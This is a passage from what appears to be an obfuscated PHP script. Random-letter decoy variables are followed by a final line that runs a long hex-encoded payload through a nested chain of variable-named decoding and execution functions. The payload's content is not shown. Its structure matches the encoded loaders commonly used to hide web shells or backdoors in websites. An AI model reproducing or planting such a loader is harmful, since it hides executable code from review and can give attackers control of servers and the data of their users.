NnlJKpxbTcfNXMSwCdhQPwSKvQSuChFpvqyFdUGXwkjtWbpXFwOTRGcLVVexCJkXyIbBcHyyRgRmiFkNayGrDhBycFuFNdbklcLniJkzPbLxfvJfsOVUWwRYaKcmOdWzFhMNqwlEyxbcRKiJzDDUZvSzEvlsXhQDpbPEyBivXJxnteWrIZkguDFXxQPuyewMGlQDMyxJgtwYXtqFsZkkbpHyfVScaNOfYdIKBESHWpGTgvXXThhvxnSbjjdjxrOvvwFVZxcvkhpQbLNuTuOPIgqRPSAlinHciLyHHAbsgPhhBvaTOPhVvxljpLVxybZfMxltwnKCCsiCMivZxCVRygBMswJpWIvIeGAZtKBVbiWmrslntGerNecEZkSVsmDVtDULmvfNDcZuTKHLrkbdPEHOOYKglMbdpWOaQuNTwMMOWSzmcaPREVfRTPxEazHqUVqjpdcjpnXkfVWiVLzYGdQASMDTkkIEfXnuAPDpdZYiuVQPfPNMScLkPndzykDcHQVHFyVhWtrrnGfuvsFNUPXJcAHaKJCrzyXEvsLsLBhyhMrbdVOXKLfmkNmuVOLvLIygaiykjeIQQZRTUGreQVrBhcUdqeybNVhmDexliebYDTrXYgbncRnjTimIMjJzEqkHugSbLUznmQkKwLXXCLhUTTDFDLEgbnmvUfxFzVskkcUgNrdPbKJuELzgxCMypZsiEnNcjFmTHGZuwDiymsRqcPVzrhwGgOOKbblKGXdmcCfyeOVRfmgHBCgSJbXPPkYrLJarGDchfIFJwaAaMgHmhmEQpBeDlcTWkuNqwpxaWbKRBJRmpYAwKdlyeqbqRuLBmXQJmmiIOSApbQCqOBMYExwhmWWdrIeceUkrHuzULYiMnjcCKOAOKVVWSSaIZeKdyvUeOtYzQHldqNFAaeNKAIHsZgZykiChDVMQnjqDQaGGNLfNPsxpZDfzJEWtNXBPSmGFwvhMUnRgYwtmNpblSgKBLguXdUlwGraBkIMeVDKtYcFLRGxJmgJXmcuQwFlbWlcGtOLnsUfPXLanQxWccezqHSFcXQEtBGYUuiHkdNAAyANnwiQympmthRwEHzWIeUCXdiIgVhfSgSGCawzMKMfRcBvKZQsDktZnBHTWOYOuQuVqPUbAGgQIgLRfBIhLAhybOQxcnkwDeRStLUSQaiXHtpltw';
$dcrpt='sCskCNwWiSufRsKuBORUQIQWzYcgSRXJSPtvCOQjgJpXbzQCmgwCPMynjavbRRjJGDDHQTRWCftcEJEqPARElqsUqlWGcfOihRPYjfuLlNOpwRFKrwObkfWZrsFSWTAEKPCTUVdFhrUcizNYuBAFfwEVmJNICNllCNEViHBPyUSGtFElFDQKYUFKDRtEEEpFRSBzYBnwvFBmJFynhOxGhBqjthNwlbBCtBaQBNmVtNHBRePZsLFYmuheCuZNUApmAOdaaPVSbCuTgISXtWWeqDiRXidRhREheHhfVDxWEQpjyGhrCDvSfdiCLMusDxzhDHmyJiTmZixWOdMQGHIkKqNUbGlecklFrXCZfvlEDhaRKMHPtOaCDmVeShiuRTyhqZgUuRzxzzNiKTYdgyeJKaNbHvvyNSFcRkxKbVgZTTiDlgfsdKbNKnOQiINvARXQbuACpgCHzKJLqPctYDFhrtXYaKtZaqPbJODxUEdTnNEcbfUZJzgzrDxQMPPMfdmOspLlTOEGahJBncZwCFUsHritfxEKBQYSfJDyWhdxOlxBpxWqBqHiGpalMFvMvtdZBfxyMauBlQbAmypnNWwTKwEwayhVRKuRQrOCrhCCYdCKBQXNlSfWpisOHZiXJcnYtcBJjCKhFlsFcpSnhxjVGbJMAsiiuwHMXhUhiEOOqftRvkebhOWNPeYOwGWPBcazjUftYTGNZYETJIuQVqcjTAXqfuEfwFdfYiXwcDiBaMTiUmyPbAzuzwJd';
$str_rot13='NrGnJMqEPHdMpgnQtxAzDKAqzWiOUOaHEfvMSKqHQSSezfurbTPFdqUbLCPFPqMTvgFMqvSfMKJkPcBrWQvzFOAqqPuFeFXzLClawdFiOnScrTSmJmknajcQYwUcBRClSmMpqQWDeOfvgXgPkrCKAEZzATaaKCLcnWrdNMGRALLHiRVSHyCgbCeaUfaegMgvhxyUIDkhOVnWMJOtgPZHQDIkIhpptvJBrGUYifFWatsmbfeHvdnKgvUOcICvcKvSqPqzUVUunmfORkvLNIwtDPHeyiYZTuSiIhgbCBvPNaDdKxPWFKqhYWlwejwxcNfKUlLxlGLyfOCPkQkpZAwXwgTaQOxsBbCUnMQYRbxWpykYNwnMVJiRqBrFpmWppXjbKzZBAwXOthNfDArYIApXAFbPryDFvlGELfFKBCYuJk';
$b64x='VFVQnvETzaAfBreTgOPPpqjeHAEBYjgtOcJbWmUvnuZOjdgQsVFGKOjsOmslxYFKaNlwZfqMZqZiSgyJbcqlrYDEluPhsTRRGcmfIcRgsROJXmtyphJefLIrFXXWqpnwrAByCREtItceFUctbkXgweXaBuWRIJMzjMWkDadLtFpxzrpZCLfXQCxrwSHdCtCkeYUhYXSQCgMAXazYMevbGRsbJzFkRgUwePDCMUsOAdnxENUPRpqWfgypFczWITsNIuOuNghmJVjMIdaztqUXxslbukXcdOpLHcEuIlHRgqcntdMktGiPyTrRdNtgCgrijVDrGJHMyKZqNkBFqiUNbkeFXWLYdCHMxJCCRjnptMEFwEjklDYnmCskycIaEpMAXpBOyOCQZGUUJdfVgDIteZcbBLcFzOExCfKZtMptsImAMRvsuCKyBNZcyBgWpKSrPcqineaeMMEXEZpxazVCludiUjeItxYiYOQlsqPDBtaERpbSmwTyPWGiFkQxgpeEcUPuJdwkwwOnkPFxkyVzTaHXkyuQMzunSIgbLClhYzUiOzFYWZXpaElKBFBMDuZVcFWNhHuFFnmtMrRhrOwQsHZtMZeOuEiwieIPkcuQqfICxzimmFceLBxWBaLuEtpmXWbhyVxnafPxdXJQbkUNlQilqtFUMTgJpHqmCNADsOzvLIkmsEzDTHOjaSDlLJUAqjMswluNZSIjZsVsWuupBiyBaAllIfLyOWPkHixfAEpAWKrsdKGESEEtdPEMuOjIjySQGOVFtJEOtUfWFLZWOdOSSRdMemunKLDPYXurHYezsJUwvUtIXGApycACOTqyESMDQGtWdXUvGPRAiJiFphtMkTOYldWqvhSkNKGqgBLmPbMXjubybuKlMXJYAenUmFfzOLPVLZhAAtxJmXGnRPYDMHBlMOgySLWHVkCHjigJBdRNAyArMyUzFvjQJPnBZJHVUibdrhmsKdEkaeBNbULGPuwyjiyISfDMNdpElBVveYeEcGQEAajpvfldnjLFOOraRGECGYxjXBnzGdCGeMuYrfbdplJCzZCQeGRkdnTApgZUKBAOMulCzMGmXpOWNPMsvcbzrUYebxYLyYYJRjlqVrCsFPnREzizCjxsEUwFRTPprmxhVhWQyyHcmvurtCPUllLPfGTWZhKPuHxpOtEmrKOcehtyjhRvSDjyICTHJdWcKtQyLujBDyEIFWfnEwIwyrTgSmmaqiCZasWlkGMOdqwhmawQVDLuUeZlrLmfuOEuGZFQFsdhgYqtykIuNTmHXltNWFSqSwjyUnOAFRHlqwENfMgTFtZbdsOawGPOByLvMzuQQBbfwGsCRzvwruxvlKUgPiUqHGjtEEiTEKyZqQBGOvBEpxyAgsGVaaKHfTziWgCAQZZFpAkCVkgJHEimwnhwNrCSKABGfcGWBFaQELRYVxHcBppWcWRPmShWsIcWKISkMtAPdsnyOUApJPKLLaAXSHUJOWGydXipqIdSzrrNLQBuFlEPldNEkgmyCsweqEteLVXKmnxxdXqiITXUwjyGPjEQCZURcMVNISxuFtQirfQYymsTxpZLzDCaCVREIlQPENiifyQVcGuATktPARZYuBYvWpyEZpSDBalGXbbZhUYaeQpEInCBpZWknTnNHfqhFanCcpajiyJmnXRvKSWYSsIFkVsSAhzEhMFJaesICAVQWlKHDfFUxNAhIrzIXXLFKrNjvfSXemmbXwIACMvYzuFHjDpHBzlKPytKDkghWtiTnQTPCnnbgshqVVWVuHejfxthhzpdrWxEMquOcgpiywXtrunKaRtFpLmVJaYZXUEiJxWLDKTAfRTVkGfKyyPlJbgsbERyzvHhrcttNlSsCLnlRtWOqkZylFqMigKgarOrSgiFRaxulKeCCAqrKOpVtEhBKRhjHVZYbhdshALSJqukPJaAxpUpSbQbsXKysJWSQZjyzvPhKjRzsrYpfTDXuSzlpIiGseyHDhEbCuIlcYKTPiHUBKrUCpFrXnwpRuvvBZVcSdnUbxmqFUjfEBAFpEVlRRAJkVD';
$dcrpt='AbZknqXcaLerEYHUKwMAmsAUmSgVIhKiiitwYPYYAcpdAVXkQjjCaKWMbcIKjRSRaKmYzKwZNKCMeZWviGWIqSvruCacSsTSbGqBqLZCUBpzAKTIqprFHkwaMwDEnwWpbLPsxOTQPHppsHxHWmMcxhCIceLqBHebSTSphMEWSTKjZgrVtcxpjZWLDIbdOfFGyxueIYaBrkKqraLKCHYLGvxjCXMqCrwZOpEVMdwCnGSFfcOIJMtPGpyhLjymatMngqiTtFvHKMLPOzxXKqMrEjyPSvbSmmfubOmvSgBCTLrgjndTDpJGyhvrbWIpinhkbTetZeUsPKzyXbrArAgngaEhWMVfZcPAvtsvxllLvKitMYsCyyPEzTlUFGzdincDfuxbeJMzSurdSJFPGvuENezsjXUsLwVQPRSTAdRSXiVPRBExvxBhaZYkwsCgNWxCnOUNrkentaCJagGUcgBdfzNBQOhcLEEYsXkIhPwaPXJpdpiGvJJZHVBWJhYTLbRcYCjFQFFFDpTfcBLyjTxqOxlXEjQOkhqIJAMzEsDgfVMhwWeeQbudyFaCnRqXYGFgFQeihgPMbBuWxyAMzTqxXqYkGnHdtLJXBmgitVUTVnpslOEjgTGdIdNORTRjEahfmNnfhHycvmTfaxpHqvjyyxlpqczUCfzpsluzSrBMDuRdrGKGatDyPOmfrkzSqXggiZFArfmtYDwpiFviYXgNMtsCDQusNayvZCVqgHieJETSJNAHKfTVXlWZbrrprnJqPdfVjNATQSkzFjFOqzjmjfmKwcYlQhbeKGAUtZmiRxIVGmJvkSIuYuETVbfLIGQtlqMEOyleUTZZGhvqaCjyVNQQOvbWaRplGApuXBXrTWPYDjpDLXAfKrwXLxtMNgxtGllcMISedIdGRRJcOiHXYCuKYNVkTRcZcNBnvutybVesMmTZvawuCpDBbXLvnnTraudwNVtnQWGbiYAdYVWBkYBLVLFIYyyZSCUexmtNJyORVpuUJqUtnvEIfirEHODYPWCMIuzrRMImabGjsACeUfNzODcUQeSGau';
$str_rot13='XlLdJISgZUGjSXWXYpRLeeTckaNBsNHpztthakOAEuiVreTOSjYxORzYsLZJyGXwyPEYAsydkfZajsOBalXOdwmvglDeRAAPPDNpuKsEPQEyhRYIdwwGRIAyTcbkbBZQElEXVwbjleHTweBzAWEReDpXeqHfqGwtRzQlURvgVBzrGZpfvsWzUkWYZDEPJzHZXxLSnfyJgWzMvORpFOnZyjxXlAluYSTwqENDiKLpfkaAySncfBbDjYZVykpWdhsSkEUunGhtQisnAFqegRHPPgKMrZITGzLRcfKPLRHBzYOydDCJTJyhPiUFHbzmBJDcOmSYEYzCxMaAqCiIkfQZnKeuLcHLLJOZWfxZdWBZIBzxDgfNmVmZeruptAaDinbESzDvUEvCETZgAEUlzGkcwdrOcQQlDSPUQSqKVKLzcjGCNZNLFyNaaEndTdOWvcQKufupPfOsOutCtgmxdAWDdjf';
$b64x='UktdBOzASliANyCUIpPHxqJQVHXlOXeIhWkiKiIbTqbHODBwRPcNfkcARZLGWqNElyMwGTxAjyGXaGSsvuEZEHzUGkZcZNGkkRGqKDpTaUqbAhSVawUEcTziDykCKqlugsKqUYJUTYvtGmNGJhkkaitDfDeQsqjXHtnBswVKuqCzcqfkxPvxXOZcQdsiSCFAusALNvUhkxfMMkWIzrewedYVGPDXQhWkZxvMrqtaMzMXJIFIZiDDLBXQrANghKQgglSWBlXMjiisrmZPvDsFDqvTphAwRqCxaUTBfqMOyufOGfcAIvekjzEygDUxsVutPmtuCfhzYnNFSPEAJJjSHNrNPKkhFEAUQSnRxVqwiCAasdZaMItuViGKSQRWuQqJJEAFzqagRZGIdeJpMBhHJOsaEIWyzmGHqGlnVMTlLzUnDcDODKwLXmLbUHztteZhjLvExNQHljVnLXCNgXyejifdpEWhhvpRfjvbWkJITdvdaWQgTNkCVPfKSBraVFRBnLbKWjRpmltmiiTBwdDrThALIQkcVBDimesIniwBvOmcxfcSjeICliMTyxWtxYbictQQbMrwADXwJzNsEwtPdeiBaEuybvfemwunhKigMfDveqlhkEwniEpIHIfJCLmOgGcnqkubQwWuMhBwlWjuaybHFHqgsCuyhVkxGEYVaUplBPgMkqfkmHSRNhxEKrBrlLnROlMnFAYfOfsZvWjIDbYPJwtSlTixdwOSgZFLAErnJhmDdWkgxJVfeOXqHGlkBZCIZgSzKIlSPYVTUfZrnuWRhtGpYSzAraHqgznrhZIWXDpRiNhwhDnOWTcukBTCaZrHzFxfEeBBhQRqDykjbyYXRaQbbjcBiuhHYEMbJnbqDSFFqpPQmNmdmdENmHpvaVCyAnYIaZXcRbIGqxxCJJevMJiyPWTPRvMrhKyIJUKZVsFlOBmWksswaZUpVmdMHpDnYAVHvGfqxKaLLnHVeYQEXjSswveCJgQHGLNAQSqnbqYMcegGDXjZgbscwVEEbukgFXgUpwHrkeCnjJtMfDkLdCNZxRDXkOEpkKJZFqqPvRCdZVpEyzqBBCAXtDvErYsahaZMQOBKfdNEyBiVzyVZZVxtyRwnpmNwNmHDaHmfjzKHZsbXPXXnsTfPKaCynptaBZDbGpGqNPWlgYivvFJMyOahPbFCPXbQwdRCsWReMmqskyNFdwQaJqiXrmYgKZWFcmguixXuKmMukzZNupNCFvAVhXBrXxVziCTsYQLhDWCNvaZnpMQTHPpOMPeiMZIUaaLZqWgSSheNhdaxqqPWedKrtOzEmGXnGiMWesnwAtiHVjdkztgdwQundsrQYpddxpZa';
$dcrpt='lYSUQGMyxUXfRntNTKQlzPnmZhCzWcZharBqWMNtHLyXyRKraBCYPpknVMlROkynCzEykrrrBOpZeyPEysDmfNZbAksNVQbWOFTYVjPWyDVbaKGYBiKHVKhUuzIpOJkCneaINPEkRzmrJspjAZqUiWPCwxrjfalSElAsAEbrCngkeVUEUJzCGndBjujpUvGyGFPfiRVLECvJxOMQyksDXvdgpmUihAGNfVtnlNyPpTXkHKaEusGsNJXBwSicROpWiHKuUHjiAGuHqTKKlrbyzyYuqgwhuLDcRmwLUeuTLmZAfjjrAKnyilsyRNeLXINpuIZNmSgXefxKpganQplYZDWrPaBmhNBbvZOHSUdwAafngGCWumvSPridQiqyVQzQQmWIHAdgAJuGpvbIHwAVliZcrpZMfybvjxCqWFwwNqBbKDiRyilKrklgZksEhtYQQZglEbIRrISBKBRiJcszNDFlmxPTpmJElpQprXfHFyhPYYXgBpFnrJzcfNVvzdyjtnXJKdqPaXEyVBEVpIiFrgHWtbQRenAxbyfLawAaSdXmdaisIQWyXcuPdjgIXGeYdkJdfJDXMZjQZRhgIEeefyTJhZrefvcIeklJTOfGnPVMGCTNfxRLULubjjFOdHxiSIrkVWQiLkVQNnEsKvcdFVFpejciRzQiggtCCJKmteDfsGXBAZFfvju';
$str_rot13='fQTuZZLgtySUQHvKYJlbrAKLJCSezezEuSxSrhYJFrcUXxFwFqxWpGgXhYbGCaJvSgmiNLrSBTMyPQtvFpQTUWRCVshWsrsJWErJOhBpAnmpdFiJUYbOVSqqkXLbNckJgasUhTJgGVwiAErTDthXKWMutxVfZfOffGzNYhTdCOlctcvvUCREYcYrYtWXyKccPbpNiIQLwCmOEgIXiYBgaYxZrtwnDYrRZeFHMURiVdwYKeVSCWYDUUbLNxYPvOGuTKBFesmZVJyFmtxOpUQJnRuaORpiGvcYeDcIuqhpyFTKxPXMiOUWenWSELBjfcHJFKsyZzNxdfGAvcLcQFYvsvMwfmFkpMTtwKRvidrliwlcywfObdISyunDHtmveGnAqeuzhjjPeUSCrxPRAxiYRxaXpnRttesIikGPTQeXjwYASOrsKAPawQ';
$b64x='eWwtlxsFKmGyNYgbwAcqqumfzkeXPPATLvmwrdAaqfzdDeEYdfNtZzYyJCVzrvRBPDWFGwGwaEYDhbbkgndfmBEVcYTttktHNplTjrOJUMLBNMlTApzMPCgrAaisKBYxpJPyaDGuOrVBDgUcUSniuuztTHKDHhAVqOSPRyjFOEgrKAtdsflLAjDtqmwWTvRiiiYZGHFukkLuKDxBJhLIrnaGAVbtqsaYAYXfFbzpLJIvMEvvLfcBtCGSXHKmYLKXihcnibCuKKnVNJqzORzhTfzQlJCKTmHbuKObkQvuAJqmsekfWjMPplFZuGJmSrNlACNKRhDrQScHXNNtWYHKjLJcrSpjicUhdHrUpTKellMIyYaTWgcGRMIHdxqlYkSBrivFbEjMpvuNtTGOZJTqUbXXXmIVWAwNIqsitaVHvOumIaBgiuxcUTZRFgMbGHONwFvOGPwAEpNLOnRWgNYbfxSkDelILzvHdqvieqJhewSSijPpwmqCKIMmMxVWVPDyeyHJNPQRKijSsYgNkWOUEZHqwblQqppUMVDYKSquazLRWRFgmSBQSHFNhrExFSrQmtOWLdPLbAcXQgEdYetqkYdspHntYFikxwGhZvtauUYJablyFFOPcRGQXTiVyQFvlkbkeTLyNiGNjSlOWzDYPinMbVgZLLTwvUgznRWaZCniTYWPxYmlGZxgUcFeNyaHSgffxBFwCsdwqzKlxxWCwtIrvNUHkUnCASgWtlsVDUrttAEpWBQttYiOLcUvXIxWADTTOKORFEjXdNMaNbSgZaujcnezvBwVDOORybIcerAHDlgrmYWMyPvaczzXzuSCHfSfGAhKqgQSsXIevdQTSkTvjRshLjJsOBxuAeDpkthcqpgLtwdkfWFONwWyFeQtfMlFQOUBhBDWPigHdjsIfWxtSSqxWfqbsaghPAhwAKROsYwUHNDmizFarUXMAMnrMTyatfVspNfHkaaRNDDwBhVRCsdBdQRqJOqBTlSiyxpIypYKsCfSiBjKSMKwCaLKpAkHkCPIYDPwsOgJqLaylJIEvsZwSjfgJPNuQcbPeRKweqEuBFRlNYPiQndIWjnfyazpCZDHqMcuCHNcLeNyCcfsqjZmSmsqNqdOpGvFtXYudlwnPIkrKriaZhMRUDGgSKugqpkhlJaOUwBiELYnBgnAOzQhbxNTGgAvvKcftctMYTUCFtPFYDflbVtdRFwxMVSGGUMyWEkUyEVCWLgvnLGpgzRXdnUpIlVNFglBKwVHZqiwaPQnAVcGutdXfXlOiGaNMlNWghDgylbXarLAlNGfFJCLfNYNuYAFkMarudWrpXnONyNzKtEqBfaGsYtkwsqGEqxxStNGQAuDYHBIzeXaJxfBUzLrqawTQSqILCOachcAOEHnheNRaSsVQCLgDGzSYpZJQNisvkriOYVWchmcaExQfHwhnVzljzuzLCRfMhOBFJWgrijrlfGrNcYaXxlGvFeggvlscZsHinOzwxpHCUyOWVOtszymDDtixEBzdsglGujBQyIRRFGOATGrSeDUgVdDZdccvINABWbQTJHKnMXNfdDxHgrNBuPAWrbsyORYjsOCaVMNgJZlMDISiZFJSUJPkKGiYWgHOVjnqVbwdAIqCPhKnmuGgCUQlZYJVFrJAZxpuyKxxRlZHuJufCZldTBqsZynEOwDmSRGPBDmSOlzHusMWRxZjyOCxmpAAKCNcttrtvckjniqhacdRzcaWrCSDQscatPCLIsEcvnLhWbpWDsmBUmXkpPNEHpdZEeklxnNRazYWZNsCeEcYrZIFpUIVjluNqdyMrkcsJBnInfJsJMQZLydZSlubxnnMrLYIvaZeBMlnRVGagVzRSDrKnjkKxXVOItwDTUHufshxMNWShvjZxZjKiTTGRpTYHOBAIhumZBiLNedUAmtWLbgTVZYMNRKvFluMSmzRNHcZMFtLrMgbNmUhMtTYjEtppmagzYymGZLREeCuQhvcvOkGgDEr';
$dcrpt='XEztDWYBqOdBXGBqvPlYqdLiyhsaknvhRtaTqYveNXGKEGZyvLWjOHSlpJLzWfHNzHgnFBRRXxaBdazXkvHYBYJPHupDYVPWbVjfVBXTXXTAxRXHlEemCNbIgqkFKZBLvkRqLnIhKbhHSeNEhSQieRQlhaqRzQcTAtJkfrSPRZVKdJNKaDSeTIPAhesGvTAUlIFryWFqVazyJlhinZMggCHnfyTZrSubAYsyuwNpwllEWtMjRzPXAwketDeJwyKvVBSpXFctqnxLfiuwgjtfeckyFOGAlQVgQNUmSWGhJCtnKMJrVBVADfXHTchEscjipdvgzAOhbgvlSdCnEWNGcjNvLUZdwilKMfRkGetHkmsCrtPuqbAsKmlwgKzbtjLepbpUfgbqutSjlgcBiCsSODNuNlvfvGJjHxDNEECxxTGIAhihKZzyCmSpyMTtsCbZZElcImzeGElfLTmvSLtTxKIvwBmOdnmCRXEzJCcpfnTqGfLyrDRmmzHhzTvbggDydGWNhZbmMVctAmqqPgDBeJIEDDeiJIGNnDZVbAHNUJFUVVjKBlkfVtiXVmfdulQhOpcpPJbJtgDnBmybXIGsAOpUBUYUfnbtDdHsmhAFnDSOpqqlyVExjsRKlPEQCfieIPVUxVzKyRYMGnXDIaaRtRaEfeUHjcMRSglObKyYawKHihJRhJIZZidEmXlVZxlrcxeeHccgymmHTWyaeFAemDhzAtTYpfPsCTwIVXPTJbACXxccBCGnENMdGGBUkqlljgUEEixMjwpHsritsOGVaRyGWyagOLtxSMAVUxHdsvjKLsCCFHWGyuLUsLafWSbOEBiyXPbqkkzvDaxHgtmdmyXEIyJEPjsuKZrIpRXYCVtEvpkBIyEuvbXcYfHNpyGYyxfMnCKpxCSRRdRYaVsvWpxuTdghCmFzJLkwmuLKVcalfSjFNBZJpxChZIpaUUzceiYrbiAxkBIQtsvfSvnhrPpPWdQrxOSBxQryyRuJscYjutOLmBscPgSLjhBfvuGRJwPhmiqdKnmdfAptaGvPMmavTaApTFFDbTjncYRlLdPQEdidJdTVqtqJtQXmUbpVVXJxvAIfcxvfZEjJHCdwUtEMIayDclXxiGTcfahiycnxGWFMyIHRBlEIlBkNNijvnCyuDebAgOwlLbXIieAiqDRadBOQiXlxAiqCmrbTExepXCXGGWOvzevCGItOGdKFlZgXqHqudvIBwegBauVzYPBEyTRDwCHgaNDQTTjWNRWiwCJwWdvUSVXPnnsipYpqkrFdjOAWewEAYmwuPQNILjx';
$str_rot13='hlbcssVAdZSSAQxhqWsYZcsFFbJlquXxFYYwqUVStnKSDgZS';
$PyJVsSHN($NhuuBKaxDp,$qbPxK("", $TtdGHiKm($pWJXjDy($IgVkLAfdJv($tzTVXlH($UWbtSKs, "6563666437393762316162626232323830656666396466643363666233623734376137396135363131623333376132363338633131383466663130633165363335663465303330646234306433346131316236333362636266376233626635353235613935623364383037313536643633396637666564656262663638653031613935343261346461353261613935346635363565336633393734313637663065663766666466623566613966666663666235666335366534623537326131646133646235353136393463373563333239646363666566623566356234366333366131613464363566333539643962373165383663616165666536343064666666646166366333616233663665663766316465613636373735646239383766343634363731316432626662363762393039323663353862643766666665623366323963343262666665666162366464386236363966353662623661333066396435383363386638393733336230376337396263353833636137376164643333353163646265386466653832376461396435323530663465313530376638656664666235663166623439313564623734666366633763356365633336353439353330613162386161363337376236363566346236306536343062663665663530666365373639663166626232333965623964633561356363613161386435633736326464373563363964353537623238646135666166326361346137363639613539653464316230643536636564366562613731373537636566306538363836636232373236393936643162353461653762623637626466616635306638376437623639386365663133323964393365336164636264366565663666353665393336353635333831313936663562636437333162373861613539373364636137303836323330333732623038393733383363366533343936393737353064396264323936383264326461393864666130646638656263303366313366653539663061663066666636613036666337396332313439626537653261373836303861653065663464646162616464336233666535313431633361323164663861376333626636313039636233376231363064313131633061356537636137363666366662636435646532393638393866333838393035646361646161653163356538633961653566336164633338326436383664343137313332623665373537353565613138313530363632626636353132323339613664353739366433363632356235653234336162313563303332393837636165336631396664303035326436383935303336336162663461663166623735663561633564646562373236636165613933623361653537653030616334363666653033636633623433386136376431383161636536386438636665336637623966616632363234313262366539366236636164623362626237626662646630653065386638653466346563663261643566333862636261626562316262646465363831616164373663376263376665386636666164366530633764303736343638666533613765373937373432363962356235633561356535393564396234663135333438366363636163306663393962336232663433373837376633623934643261313934306534623539633462663735643362316631643338343366363935363538366637386466386433656665643033383561613733376138633161633734653736363363636639626636353136613239366639353432343930346630386137663961313663626535623437393433636137613234303132346363636633333834316633386535366663306534646538363131616438333361336637663536333263626361356664343262663037643935626565363338316365623164383264656438353033326162636132373235666439343662383964636163326633373162633863646339623963623831346361663933376465396263323762663433363763666366653336323666373466343631643138396531333434386530363863353933383139343663323832353137346135393634656437653164373763636165613163343630353033663262623633336563316137643331656432383566316135396233333765386332303238613039383231323330643630633638306538373339653632626164666361396534353832363166653231383030376435316563353131646330363238383331613161343133393462613030393037313635356463316334373839323433363838353432343136336639376666643835303038383062323738376263376362303439323532303039396263353037313439336532336631356139363236626438386338393661323561303834393266313930666133303836623034396338323632306532373835653864616536643463356365303336633333343537326662636339323665343865396261623633353162313338356537313162383836363362623630313938623033633731323734343436646332656338373330656636666165646662313637303863326530633761376633303732383234633837323563363635383666333630336335373163316336346635366637333164393536313663373438366234386565303333636233663731366461386161636234623238316233656233666333336337336631373235333063363839653661633931303332346362653937646636376233303334646162356131333165386561306432336136376566663566633538353162376465313235626462303736336237663962626132646463613930393238383236633830396139636637663131653465303230636637633062323633626330623132656530636130323238633833623835333839393563616665353261396463326639353561376337663239646566333331643634303630366664393338663062373138613331636238643261323034383834643839663161633466346136363239386566303862326537633065653162333132376363653835636630313763386563303937313139633638313563633538386339366638393638343635333738636335636362653133613738393930653131386364393661386536363334313539383636616439633863633830343164306634326135303263626531623435346561306630663564613834663933616562383436356463643663663663663937326362386265356365653837316437376238386135633865623337633835323236623138303763383839373038353638326666373335316437366133373937346266376635656335396237643165366338373934313366316663623533363162396438636534353634333133666164616339383237633336653664643638653861383736353132363061333235356231346334316131646133663130303130326431643761383263623563613636643162633061353662393537326135623237373763663435646435343131616166343139613633663664623736636433366462376431643038333064343362363237653265306539343334663335656137303261613539373065306463653933353937363238333231636338653161616361633730306231323834336131653564316266633166366261323634303239386135636539396162383431613561643664306430316239646438303466353430623731353634306532383661636633646561356432383834343430303666366339393466633833663338626630303130646139333639663132306331303230326136656663383536613935303938386365663930363730633839363038363363336630356163333664346662346430363062623538393931303864343335643032376437333564303664376238366261313036636136626165633239373564393761636265386331303239616131336530313361353339643564366237323964356461623664663636623033626433643462616431656630366336646564346336393662633731616437636338366435396661353737336465306439633637333461376236316533373236616330323338376366303336343235623330636164626634343938303263363634303234626163353937373537393965613637333732653661393732663463363035306433333036326439353139663738353265343132363464616262653236373564363731376535623365666561366562353761353264623364616535343931353730313863663136343061366439666631336132653935383930323161313533383837356662356532346566396138616132313862396263336335353536633162376435323631393863326135656535383536626236626138303962356432316430643037663037393538333964616234316366383632656132306266333733616536323332636463383437613064336436383363633139373333626435376566353235323964633065633831643938343966663133633930343139323534346637373830636236383239326432393734303165643266326432313535316534663661323931333532613631326462333137343430316261336263353432363939353631366433386263613931653532386462643661386466303439353032626232306666666165613633663531313533343163333761313132333735393965363832646330613938356230306261323532386638613663356633366632323434623666313336343238343961313161316530306236663233313539303333323266363936666564626138336464383539613937366437663730633734626262306233663662313766666463656430646466653032613231616430633038633161323831636661613865626434316362333637626335383764303339373634346332626461613639656161316131643630306430633134353835313166653466663561616437386230356461633164366532643231663635613064323437666463363362646235353832393964656439643534366264623762303736353834633031353139326530653930633830366138623834616537376561613166656161303538613964363461393735623063613261623033663938643731623361363236383366356662386239643134616262626235646462643461663566386563396131353164653834656137643633313664633731613365626635393963663234653830386664346361343761356233656239336161613033313136313830633935663761653161633537656533396633656364303635383238613066346631303566666163393336343436356465353864333832376138373437633730376335366162663963663238336663303065363237346262623533616138653663303566353032656631663233656138633063373662306461623662623131636635386637343339393735653263616130393936646238336631333636313963626234366333623134323835336661383439633635653538353935366333626162323332373835323663616236623336393539663834663939353633666261306665643133333436666432656634623135633630383138306436633363303164623364393334666133356438343931396234646537383638306639313662346432613931643465666635323731646134333333663364393938396634323435623936333530333264373432363138613765663261366237306564353131666461626363376232326236623262366239623661323031623336353530316230626335326463646364616636303363306138663266653465366636666137643338316363353638626537623635616539373433306237306634623266623262306435383332353839363331643539643863643564656635383866333334633834366466613666663638393130383535666635373736373365613233663731353437643534316261646261623139323533383362396666306364353931663836376130396130666335363064633963333238633930666230666635373531346665643961393665306534313136393934323337653566666133393430373662393839643736646130313735373762326638633836663961623630653232353534646138636137366434336163303135306637383163653363393839356162663364613333666161353930336239663863346663313962623638373931316666333737333137346461383631333266626362623761636265623333303336636337366337353935373438333038656561343038656232653662326466613962623830643461663333643032636638616563323037353836393830376330613166666161636133326231336637636663636263383932346265366631616361383464366134636436663161613534623662386434363265333733336135636539333833323332613633376632663631656565636665386431646338633934613234396437616437313138626537366462616630653637366665346435616232326265356435363237396636633134343964373064303164643939313534636362363165356365393032383561333939336165633764386263323133356636363566303633653961363035366532393537343134313336333030376462643637623836333239653566363734643034303836643666383166653234663830356437313836623362316136383833363132373533336165396337373465353134363561363764366465323634616463346566636464373432346664653837663664393231323065646237633131653365633133323532393133643435386233663533633331646231616637363162376333633131393463383436393066306439383734303336336438313361623731303936373962366633363139346431393230336364646336316431333334343431663838643736353661646433303963623161386334386538323230323462616234366466666636653139303931636633323339666561666464653837623636646665636331393461393139346431333661616537396638646565363730303632383766666165633264653033353335313763363433376433306638333537363130613037363236346564633561366131616635643937373534386634653466656337623962333264313764333365616364656665623361383637636331373831613030306136333938313030396230396366356165356637646364303664356437363963346365336364366333373635643866613531333461323661313634373330393235396435633562386366663536656164663333303933386635356363363766363732336232643038346535653538346232626134616364633862646262313962653333386335663237376234363139613264353561363962643937343233633962376165376234313537643339373231633265343334633233326264333563356135653939376434313335626139363664326333306463303963353164376462656363376562643237666661313064323030326662656331646439333234316135333466623264636233626633663966646134343535346632366231346261633734653533333732613439303439383831343663343666336239366435376432663631653233343735343636393266623330383632633763616563363730393063326466316634343439326437623564306538316166616363346135333830636564393534653335633364613763666265353466386461633033653563393832383063626534643161616230316134333034343334313335623563356334623238346234623039363538646238666263616361656336636431623436396139336366653864383532636338343636616666313965393839336162343633373535313935646635306334663066666232353634323736323162306437336666643333653765343834666562626633336333303061333835646566313266383737